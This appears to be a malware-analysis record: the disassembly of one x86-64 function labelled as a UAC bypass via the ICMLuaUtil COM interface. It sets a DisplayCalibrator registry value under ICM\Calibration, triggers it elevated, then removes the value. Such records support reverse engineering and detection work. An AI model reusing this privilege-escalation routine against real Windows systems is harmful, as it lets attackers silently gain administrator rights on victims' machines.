Function at 0x140016c17
Capabilities:
Bypass uac via icmluautil

Disassembly:
jmp 0x140028b80
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x7e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x218]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x14006d19a]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0x80004005
mov dword [rbp + 0x64], 0
mov dword [rbp + 0x84], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0xe8], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x44], eax
lea rdx, [rbp + 0x64]
lea rcx, str.D2E7041B_2927_42fb_8E9F_7CE93B6DC937
call fcn.1400168e8
test eax, eax
je 0x140028c6e
lea rdx, [rbp + 0x84]
lea rcx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
call fcn.1400168e8
test eax, eax
je 0x140028c6e
cmp dword [rbp + 0x64], 0
je 0x140028c51
cmp dword [rbp + 0x84], 0
jne 0x140028c6e
lea rcx, str.This_method_fixed_unavailable_in_the_current_version_of_Windows__do_you_still_want_to_continue_
call fcn.140016c3f
cmp eax, 6
je 0x140028c6e
mov dword [rbp + 4], 0xc0000120
jmp 0x140028dc0
mov rcx, qword [rbp + 0x1e0]
call fcn.14001680c
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140028c97
mov dword [rbp + 4], 0xc000000d
jmp 0x140028dc0
lea r9, [rbp + 0xc8]
mov r8d, 4
lea rdx, [0x140044030]
lea rcx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
call fcn.140016889
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140028cc5
jmp 0x140028dc0
cmp qword [rbp + 0xc8], 0
jne 0x140028cdb
mov dword [rbp + 0x24], 0x8007000e
jmp 0x140028dc0
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1e0]
mov qword [rsp + 0x20], rcx
lea r9, str.DisplayCalibrator
lea r8, str.SoftwareMicrosoftWindows_NTCurrentVersionICMCalibration
mov rdx, 0xffffffff80000002
mov rcx, qword [rbp + 0xc8]
call qword [rax + 0x50]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jge 0x140028d1e
jmp 0x140028dc0
lea r9, [rbp + 0xe8]
mov r8d, 4
lea rdx, [0x140044018]
lea rcx, str.D2E7041B_2927_42fb_8E9F_7CE93B6DC937
call fcn.140016889
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140028d49
jmp 0x140028dc0
cmp qword [rbp + 0xe8], 0
jne 0x140028d5c
mov dword [rbp + 0x24], 0x8007000e
jmp 0x140028dc0
mov rax, qword [rbp + 0xe8]
mov rax, qword [rax]
xor edx, edx
mov rcx, qword [rbp + 0xe8]
call qword [rax + 0x70]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jl 0x140028d82
mov dword [rbp + 4], 0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
lea r9, str.DisplayCalibrator
lea r8, str.SoftwareMicrosoftWindows_NTCurrentVersionICMCalibration
mov rdx, 0xffffffff80000002
mov rcx, qword [rbp + 0xc8]
call qword [rax + 0x58]
xor eax, eax
test eax, eax
jne 0x140028c17
cmp qword [rbp + 0xc8], 0
je 0x140028dde
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0xc8]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
cmp qword [rbp + 0xe8], 0
je 0x140028dfc
mov rax, qword [rbp + 0xe8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0xe8]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
cmp dword [rbp + 0x44], 0
jne 0x140028e08
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14004cb00]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret